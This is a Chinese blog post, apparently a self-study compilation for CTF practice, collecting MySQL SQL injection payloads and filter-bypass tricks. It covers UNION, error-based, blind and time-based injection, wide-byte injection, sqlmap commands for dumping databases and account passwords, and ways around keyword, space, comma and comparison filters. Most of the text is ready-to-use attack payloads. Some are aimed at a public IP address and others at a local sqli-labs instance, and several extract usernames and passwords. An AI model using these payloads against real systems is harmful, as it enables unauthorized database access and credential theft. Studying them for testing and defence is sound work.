侧边栏

SQL注入绕过总结

SQL注入绕过总结

mysql手工注入方法

?id=1%df’(测试是否存在注入,报错则存在)
?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)
mysql手工注入方法
http://219.153.49.228:48120/new_list.php?id=1
首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- -

假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好

http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判断字段个数

让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值

http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- -

查询当前数据库
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- -


http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -   (注入出表名)

http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名)

http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)
手工注入命令顺序
注出所有表

http://test
?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -

http://test?id=2' 
and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -

当前数据库
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -

当前数据库的表
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -

列名
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -

报字段
http://test
?id=2' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
报错注入
报错注入
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -


http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -

http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
报错注入过程
大碗宽面

mysql手工注入方法

以查找书籍页面为例,post一个name=1给后端,拼接到sql语句select * from books where bookid =‘$id’limit 0,1;
?id=1’(测试是否存在注入,报错则存在)
?id=1-- -(注释后面多余的’limit 0,1 页面正常)
?id=1order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1union select 1,2,3-- -
?id=-1union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名)
?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)

http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20-

http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20-

notice,stormgroup_member

爆表名的时候要进行hash编码
id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -
宽字节注入
页面上一节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为:

select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。

假设$id为数字型:

url?id=1 and sleep(1) %23,无反应

假设$id为字符型:

括号:url?id=1) and sleep(1) %23,无反应

双引号:url?id=1" and sleep(1) %23,无反应

单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟

至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。

比如用户名长度

url?id=1' and sleep(if(length(user())<15,0,3)) %23

url?id=1' and sleep(if(length(user())<15,0,3)) %23

比如操作系统名

url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23

 

以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数:

sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒

if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=<<=>>=

length(str) //返回长度

mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL

ord(str) //返回字符串第一个字符的 ASCII 值。

 

2019/5/17:增加查询Flag

这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。
延时注入
sqlmap用法
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1'                    # 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs        #可曝出该mysql中所有数据库名称
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db   #web当前使用的数据库
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user  #web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users     #列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords   #数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1--tables   #输出所有的表
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables  #-D 指定数据库名
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns  #-T:指定要列出字段的表   --columns 列出了所有的列字段
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump        # -C :指定要暴的字段


sqlmap万能用法
burp抓包保存为1.txt
sqlmap -r 1.txt --dbs        #可曝出该mysql中所有数据库名称
sqlmap -r 1.txt --current-db   #web当前使用的数据库
sqlmao注入
猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在a-z之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -

猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

第二个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101

判断user表

http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23

爆出字段
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -

盲注
时间盲注
?id=1' and sleep(5)-- -
?id=1' and if(length(database())>=8,sleep(5),1)-- -

盲注
盲注

转载:

https://blog.csdn.net/wy_97/article/details/78085664

https://blog.csdn.net/zacklin/article/details/7741455

https://www.jianshu.com/p/078df7a35671

https://www.cnblogs.com/baimaoma/p/8608490.html

https://blog.csdn.net/qq_31481187/article/details/59727015

https://zhuanlan.zhihu.com/p/320579411

常见注入点位置及判断方法

  • GET中的注入点 一般这种注入点最容易被发现了,可以用sqlmap或者 手工验证。
  • POS中的注入点 POST参数中的注入点一般无法直接发现,需要使用burp或浏览器插件(推荐hackbar 或maxhackbar)抓包后发现。当然 sqlmap 也是可以的。
  • User-agent 注入点 使用sqlmap 和 burp的 repeater 模块都可以发现 User-agent中的注入点。这类题目较少。
  • Cookie 中的注入点 这个也是可以用 sqlmap 和 burp 工具来发现。相对 User-agent 注入点,Cookie中的注入点更为多见。

当我们选择注入位置后,需要判断是否存在注入。存在注入前,我们假设服务器程序执行以下SQL语句:

SELECT UseName FROM User WHERE id='$id';
SELECT UseName FROM User WHERE id= $id;

上面两种假设当中,第一种为字符串类型注入、第二种为数字型注入。

完成上述假设后,我们通过以下几种方法来判断是否存在注入:

  • 插入单引号 是我们最常见的检测方法,通过插入单引号导致SQL语句引起未闭合错误,确认是否存在注入。
  • 数字型判断 通过 and 1=1 和 'and'1'='1 进行判断。
  • 通过加减法判断 如果原语句是 ?id=2 尝试使用 id=3-1 尝试。

1.0各类绕过方法的介绍

  1. 关键字过滤, 即 过滤了 select、or 、from 等关键字。这类题目通常将关键字搜索到后置换为空,我们通常穿插关键字的方法进行绕过,也可以通过大小写转换的方式绕过。也可以通过十六进制和双重URL编码来进行绕过。
  2. 空格过滤 即对空格进行了过滤。需要用到注释符绕过、URL编码绕过、空白符绕过、特殊符号绕过。

通过表格说明绕过方法:

1.1 注释符绕过

常用注释符:

 -- , /**/, #(%23)

验证:

mysql> select * from sql_test where id = /*11*/1;
+----+----------+----------+| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;
+----+----------+----------+
| id | username | password |+----+----------+----------+
| 3 | test2 | 456 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)
 
mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

 理解如下:

where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id 2,3的记录

先除后判等,左往右

1.2 大小写绕过

    sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的

mysql> select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.00 sec)

1.3 内联注释绕过

    ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.00 sec)

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3

    这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别

1.5 编码绕过

双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

16进制绕过:

mysql> select * from sql_test where id = 3 union select  * from sql_test where username = 0x74657374;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.06 sec)
mysql> select  * from sql_test where username = char(116)+char(101)+char(115)+char(116);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
3 rows in set, 3 warnings (0.00 sec)

1.6 空格绕过

    waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用

mysql> select(id)from(sql_test)where(id=1);
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
mysql> select
    -> id
    -> from
    -> sql_test
    -> where
    -> id
    -> =
    -> 1
    -> ;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

注:url中%0a为回车

mysql> select   username        from    sql_test        where   id=1    ;
+----------+
| username |
+----------+
| admin    |
+----------+
1 row in set (0.00 sec)
mysql> select*from`sql_test`where`id`=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

1.7  等于号绕过

    拦截了等于号,我们可以用like去代替:

mysql> select * from sql_test where username like 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

1.8 逗号绕过

    在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset

mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
3 rows in set (0.00 sec)
 
mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test limit 1 offset 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)

1.9 大于号小于号拦截绕过

    在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。

mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.05 sec)
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.03 sec)
 
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);
Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.23 sec)
 
mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');
Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)
 
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

2.0 宽字节注入

过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27

    %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

2.1 常用连接语句符号

orandunion&&||^

^指的是异或操作,通常用于布尔型盲注绕过连接词

2.2 几个报错注入用来绕过的函数

extractvalue/updatexml

解释太复杂了,这里有详解,点这里

2.3 \N,E0,.0绕过

其实相当于NULL字符

mysql> select*from sql_test where id =\Nunion select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)
 
mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.06 sec)
mysql> select*from sql_test where id =7E0;
Empty set (0.00 sec)
 
mysql> select*from sql_test where id =7.0;
Empty set (0.00 sec)
 
mysql> select*from sql_test where id =\N;
Empty set (0.00 sec)
posted @ 2021-02-24 18:13  菜鸟-传奇  阅读(643)  评论(0编辑  收藏  举报